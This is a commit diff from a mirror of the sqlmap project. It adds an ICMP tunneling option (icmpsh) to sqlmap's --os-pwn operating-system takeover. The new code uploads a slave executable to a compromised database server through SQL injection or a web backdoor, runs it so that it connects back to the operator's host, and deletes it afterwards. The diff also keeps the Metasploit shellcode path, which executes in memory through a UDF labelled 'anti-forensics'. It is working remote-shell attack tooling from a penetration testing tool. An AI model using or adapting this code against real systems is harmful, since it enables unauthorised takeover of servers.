mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-01-24 08:14:24 +03:00
Implemented ICMP tunneling for out-of-band takeover (--os-pwn) as an alternative to TCP tunneling (Metasploit). It relies on icmpsh, the back-end dbms server has to be Windows as the icmpsh slave runs on Windows only for the moment. sqlmap needs to be executed as root to work.
This commit is contained in:
parent
1870e17e5d
commit
a391be833b
118
lib/takeover/icmpsh.py
Normal file
118
lib/takeover/icmpsh.py
Normal file
|
@ -0,0 +1,118 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
import codecs
|
||||
import os
|
||||
import re
|
||||
import stat
|
||||
import sys
|
||||
import time
|
||||
|
||||
from select import select
|
||||
from subprocess import PIPE
|
||||
from subprocess import Popen as execute
|
||||
|
||||
from extra.icmpsh.icmpsh_m import main as icmpshmaster
|
||||
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import getLocalIP
|
||||
from lib.core.common import getRemoteIP
|
||||
from lib.core.common import getUnicode
|
||||
from lib.core.common import normalizePath
|
||||
from lib.core.common import ntToPosixSlashes
|
||||
from lib.core.common import pollProcess
|
||||
from lib.core.common import randomRange
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.core.exception import sqlmapDataException
|
||||
from lib.core.exception import sqlmapFilePathException
|
||||
from lib.core.subprocessng import blockingReadFromFD
|
||||
from lib.core.subprocessng import blockingWriteToFD
|
||||
from lib.core.subprocessng import setNonBlocking
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.takeover.upx import upx
|
||||
|
||||
|
||||
class ICMPsh:
|
||||
"""
|
||||
This class defines methods to call icmpsh for plugins.
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.lhostStr = None
|
||||
self.rhostStr = None
|
||||
self.localIP = getLocalIP()
|
||||
self.remoteIP = getRemoteIP()
|
||||
self.__icmpslave = normalizePath(os.path.join(paths.SQLMAP_EXTRAS_PATH, "icmpsh", "icmpsh.exe"))
|
||||
|
||||
def __selectRhost(self):
|
||||
message = "which is the back-end DBMS address? [%s] " % self.remoteIP
|
||||
address = readInput(message, default=self.remoteIP)
|
||||
|
||||
return address
|
||||
|
||||
def __selectLhost(self):
|
||||
message = "which is the local address? [%s] " % self.localIP
|
||||
address = readInput(message, default=self.localIP)
|
||||
|
||||
return address
|
||||
|
||||
def __prepareIngredients(self, encode=True):
|
||||
self.lhostStr = self.__selectLhost()
|
||||
self.rhostStr = self.__selectRhost()
|
||||
|
||||
def __runIcmpshMaster(self):
|
||||
infoMsg = "running icmpsh master locally"
|
||||
logger.info(infoMsg)
|
||||
|
||||
icmpshmaster(self.lhostStr, self.rhostStr)
|
||||
|
||||
def __runIcmpshSlaveRemote(self):
|
||||
infoMsg = "running icmpsh slave remotely"
|
||||
logger.info(infoMsg)
|
||||
|
||||
self.__icmpshSlaveCmd = "%s -t %s" % (self.__icmpslaveRemote, self.lhostStr)
|
||||
|
||||
cmd = "%s &" % self.__icmpshSlaveCmd
|
||||
|
||||
if kb.dbms == "Microsoft SQL Server" and (kb.stackedTest or conf.direct):
|
||||
cmd = self.xpCmdshellForgeCmd(cmd)
|
||||
|
||||
self.execCmd(cmd, silent=True)
|
||||
|
||||
def uploadIcmpshSlave(self, web=False):
|
||||
self.__randStr = randomStr(lowercase=True)
|
||||
|
||||
if web:
|
||||
self.__icmpslaveRemote = "%s/tmpi%s.exe" % (self.webDirectory, self.__randStr)
|
||||
else:
|
||||
self.__icmpslaveRemote = "%s/tmpi%s.exe" % (conf.tmpPath, self.__randStr)
|
||||
|
||||
self.__icmpslaveRemote = ntToPosixSlashes(normalizePath(self.__icmpslaveRemote))
|
||||
|
||||
logger.info("uploading icmpsh slave to '%s'" % self.__icmpslaveRemote)
|
||||
|
||||
if web:
|
||||
self.webFileUpload(self.__icmpslave, self.__icmpslaveRemote, self.webDirectory)
|
||||
else:
|
||||
self.writeFile(self.__icmpslave, self.__icmpslaveRemote, "binary", False)
|
||||
|
||||
def icmpPwn(self):
|
||||
self.__prepareIngredients()
|
||||
self.__runIcmpshSlaveRemote()
|
||||
self.__runIcmpshMaster()
|
||||
|
||||
debugMsg = "icmpsh master exited"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
self.delRemoteFile(self.__icmpslaveRemote, doubleslash=True)
|
|
@ -8,21 +8,24 @@ See the file 'doc/COPYING' for copying permission
|
|||
"""
|
||||
|
||||
from lib.core.common import readInput
|
||||
from lib.core.common import runningAsAdmin
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import sqlmapMissingMandatoryOptionException
|
||||
from lib.core.exception import sqlmapMissingPrivileges
|
||||
from lib.core.exception import sqlmapNotVulnerableException
|
||||
from lib.core.exception import sqlmapUndefinedMethod
|
||||
from lib.core.exception import sqlmapUnsupportedDBMSException
|
||||
from lib.takeover.abstraction import Abstraction
|
||||
from lib.takeover.icmpsh import ICMPsh
|
||||
from lib.takeover.metasploit import Metasploit
|
||||
from lib.takeover.registry import Registry
|
||||
from lib.techniques.outband.stacked import stackedTest
|
||||
|
||||
from plugins.generic.misc import Miscellaneous
|
||||
|
||||
class Takeover(Abstraction, Metasploit, Registry, Miscellaneous):
|
||||
class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
|
||||
"""
|
||||
This class defines generic OS takeover functionalities for plugins.
|
||||
"""
|
||||
|
@ -32,6 +35,7 @@ class Takeover(Abstraction, Metasploit, Registry, Miscellaneous):
|
|||
self.tblField = "data"
|
||||
|
||||
Abstraction.__init__(self)
|
||||
ICMPsh.__init__(self)
|
||||
|
||||
def osCmd(self):
|
||||
stackedTest()
|
||||
|
@ -84,64 +88,105 @@ class Takeover(Abstraction, Metasploit, Registry, Miscellaneous):
|
|||
|
||||
stackedTest()
|
||||
|
||||
self.checkDbmsOs()
|
||||
|
||||
msg = "how do you want to establish the tunnel?"
|
||||
msg += "\n[1] TCP: Metasploit Framework (default)"
|
||||
msg += "\n[2] ICMP: icmpsh - ICMP tunneling"
|
||||
|
||||
while True:
|
||||
tunnel = readInput(msg, default=1)
|
||||
|
||||
if isinstance(tunnel, basestring) and tunnel.isdigit() and int(tunnel) in ( 1, 2 ):
|
||||
tunnel = int(tunnel)
|
||||
break
|
||||
|
||||
elif isinstance(tunnel, int) and tunnel in ( 1, 2 ):
|
||||
break
|
||||
|
||||
else:
|
||||
warnMsg = "invalid value, valid values are 1 and 2"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if tunnel == 2 and kb.dbms != "Windows":
|
||||
errMsg = "icmpsh slave is only supported on Windows at "
|
||||
errMsg += "the moment. The back-end database server is "
|
||||
errMsg += "not. sqlmap will fallback to TCP (Metasploit)"
|
||||
logger.error(errMsg)
|
||||
|
||||
tunnel = 1
|
||||
|
||||
if tunnel == 2:
|
||||
isAdmin = runningAsAdmin()
|
||||
|
||||
if isAdmin is not True:
|
||||
errMsg = "you need to run sqlmap as an administrator "
|
||||
errMsg += "if you want to establish an out-of-band ICMP "
|
||||
errMsg += "tunnel because icmpsh uses raw sockets to "
|
||||
errMsg += "sniff and craft ICMP packets"
|
||||
raise sqlmapMissingPrivileges, errMsg
|
||||
|
||||
if kb.stackedTest or conf.direct:
|
||||
web = False
|
||||
|
||||
self.initEnv(web=web)
|
||||
self.getRemoteTempPath()
|
||||
self.initEnv(web=web)
|
||||
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
msg = "how do you want to execute the Metasploit shellcode "
|
||||
msg += "on the back-end database underlying operating system?"
|
||||
msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)"
|
||||
msg += "\n[2] Stand-alone payload stager (file system way)"
|
||||
if tunnel == 1:
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
msg = "how do you want to execute the Metasploit shellcode "
|
||||
msg += "on the back-end database underlying operating system?"
|
||||
msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)"
|
||||
msg += "\n[2] Stand-alone payload stager (file system way)"
|
||||
|
||||
while True:
|
||||
choice = readInput(msg, default=1)
|
||||
while True:
|
||||
choice = readInput(msg, default=1)
|
||||
|
||||
if isinstance(choice, basestring) and choice.isdigit() and int(choice) in ( 1, 2 ):
|
||||
choice = int(choice)
|
||||
break
|
||||
if isinstance(choice, basestring) and choice.isdigit() and int(choice) in ( 1, 2 ):
|
||||
choice = int(choice)
|
||||
break
|
||||
|
||||
elif isinstance(choice, int) and choice in ( 1, 2 ):
|
||||
break
|
||||
elif isinstance(choice, int) and choice in ( 1, 2 ):
|
||||
break
|
||||
|
||||
else:
|
||||
warnMsg = "invalid value, valid values are 1 and 2"
|
||||
logger.warn(warnMsg)
|
||||
else:
|
||||
warnMsg = "invalid value, valid values are 1 and 2"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if choice == 1:
|
||||
goUdf = True
|
||||
if choice == 1:
|
||||
goUdf = True
|
||||
|
||||
if goUdf:
|
||||
self.createMsfShellcode(exitfunc="thread", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed")
|
||||
else:
|
||||
self.createMsfPayloadStager()
|
||||
self.uploadMsfPayloadStager()
|
||||
if goUdf:
|
||||
self.createMsfShellcode(exitfunc="thread", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed")
|
||||
else:
|
||||
self.createMsfPayloadStager()
|
||||
self.uploadMsfPayloadStager()
|
||||
|
||||
if kb.os == "Windows" and conf.privEsc:
|
||||
if kb.dbms == "MySQL":
|
||||
debugMsg = "by default MySQL on Windows runs as SYSTEM "
|
||||
debugMsg += "user, no need to privilege escalate"
|
||||
logger.debug(debugMsg)
|
||||
if kb.os == "Windows" and conf.privEsc:
|
||||
if kb.dbms == "MySQL":
|
||||
debugMsg = "by default MySQL on Windows runs as SYSTEM "
|
||||
debugMsg += "user, no need to privilege escalate"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
elif kb.os != "Windows" and conf.privEsc:
|
||||
# Unset --priv-esc if the back-end DBMS underlying operating
|
||||
# system is not Windows
|
||||
conf.privEsc = False
|
||||
elif kb.os != "Windows" and conf.privEsc:
|
||||
# Unset --priv-esc if the back-end DBMS underlying operating
|
||||
# system is not Windows
|
||||
conf.privEsc = False
|
||||
|
||||
warnMsg = "sqlmap does not implement any operating system "
|
||||
warnMsg += "user privilege escalation technique when the "
|
||||
warnMsg += "back-end DBMS underlying system is not Windows"
|
||||
logger.warn(warnMsg)
|
||||
warnMsg = "sqlmap does not implement any operating system "
|
||||
warnMsg += "user privilege escalation technique when the "
|
||||
warnMsg += "back-end DBMS underlying system is not Windows"
|
||||
logger.warn(warnMsg)
|
||||
elif tunnel == 2:
|
||||
self.uploadIcmpshSlave(web=web)
|
||||
self.icmpPwn()
|
||||
|
||||
elif not kb.stackedTest and kb.dbms == "MySQL":
|
||||
infoMsg = "going to use a web backdoor to execute the "
|
||||
infoMsg += "payload stager"
|
||||
logger.info(infoMsg)
|
||||
|
||||
web = True
|
||||
|
||||
infoMsg = "going to use a web backdoor to establish the tunnel"
|
||||
logger.info(infoMsg)
|
||||
|
||||
self.initEnv(web=web)
|
||||
|
||||
if self.webBackdoorUrl:
|
||||
|
@ -156,18 +201,24 @@ class Takeover(Abstraction, Metasploit, Registry, Miscellaneous):
|
|||
logger.warn(warnMsg)
|
||||
|
||||
self.getRemoteTempPath()
|
||||
self.createMsfPayloadStager()
|
||||
self.uploadMsfPayloadStager(web=True)
|
||||
|
||||
if tunnel == 1:
|
||||
self.createMsfPayloadStager()
|
||||
self.uploadMsfPayloadStager(web=web)
|
||||
elif tunnel == 2:
|
||||
self.uploadIcmpshSlave(web=web)
|
||||
self.icmpPwn()
|
||||
else:
|
||||
errMsg = "unable to prompt for an out-of-band session via "
|
||||
errMsg += "the back-end DBMS"
|
||||
raise sqlmapNotVulnerableException(errMsg)
|
||||
|
||||
if not web or (web and self.webBackdoorUrl is not None):
|
||||
self.pwn(goUdf)
|
||||
if tunnel == 1:
|
||||
if not web or (web and self.webBackdoorUrl is not None):
|
||||
self.pwn(goUdf)
|
||||
|
||||
if not conf.cleanup:
|
||||
self.cleanup()
|
||||
if not conf.cleanup:
|
||||
self.cleanup()
|
||||
|
||||
def osSmb(self):
|
||||
stackedTest()
|
||||
|
|
Loading…
Reference in New Issue
Block a user